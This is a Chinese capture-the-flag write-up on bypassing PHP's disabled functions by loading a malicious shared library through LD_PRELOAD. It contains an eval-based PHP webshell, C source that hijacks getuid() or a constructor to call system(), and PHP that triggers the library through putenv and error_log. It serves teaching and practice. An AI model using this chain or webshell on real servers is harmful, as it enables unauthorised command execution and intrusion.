LD_PRELOAD
题目描述
-
目标:获取服务器上
/flag
文件中的 flag。需要了解 Linux LD_PRELOAD 环境变量。 -
LD_PRELOAD是Linux系统的一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入程序,从而达到特定的目的。 putenv()用来改变或增加环境变量的内容. 参数string 的格式为name=value, 如果该环境变量原先存在, 则变量内容会依参数string 改变, 否则此参数内容会成为新的环境变量.
——出自CTFHub官方WP
解题过程
简单测试
<?php
@eval($_REQUEST['ant']);
show_source(__FILE__);
?>
给了一个小马,直接用蚁剑连接
可以看到返回了ret=127
,意思是所有命令执行的指令都无法使用
查看phpinfo
直接访问/?ant=phpinfo();
禁用了很多函数
pcntl_alarm
pcntl_fork
pcntl_waitpid
pcntl_wait
pcntl_wifexited
pcntl_wifstopped
pcntl_wifsignaled
pcntl_wifcontinued
pcntl_wexitstatus
pcntl_wtermsig
pcntl_wstopsig
pcntl_signal
pcntl_signal_get_handler
pcntl_signal_dispatch
pcntl_get_last_error
pcntl_strerror
pcntl_sigprocmask
pcntl_sigwaitinfo
pcntl_sigtimedwait
pcntl_exec
pcntl_getpriority
pcntl_setpriority
pcntl_async_signals
exec
shell_exec
popen
proc_open
passthru
symlink
link
syslog
imap_open
dl
mail
system
原本想用mail
的,但是被禁了,不过error_log()
也可以调用sendmail
命令
error_log ( string
$message
, int$message_type
= 0 , string$destination
= ? , string$extra_headers
= ? ) : bool把错误信息发送到 web 服务器的错误日志,或者到一个文件里。
编译动态链接库
因为题目环境给了
readflag
文件,所以直接调用即可
在*unix下创建 hack.c
#include <stdlib.h>
#include <stdio.h>
void payload() {
system("/readflag > /tmp/flag");
}
int getuid(){
if(getenv("LD_PRELOAD") == NULL) return 0;
unsetenv("LD_PRELOAD");
payload();
}
还有一种优化版
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
__attribute__ ((__constructor__)) void xxx (void){
unsetenv("LD_PRELOAD");
system("/readflag > /tmp/flag");
}
用gcc -fPIC -shared hack.c -o hack.so
编译出动态链接库
上传到/tmp/
目录下,一般来说/tmp/
目录都是有读写权限的
写调用代码
<?php
putenv("LD_PRELOAD=/tmp/hack.so");
error_log("",1);
echo "ok";
?>
访问页面,然后读取flag即可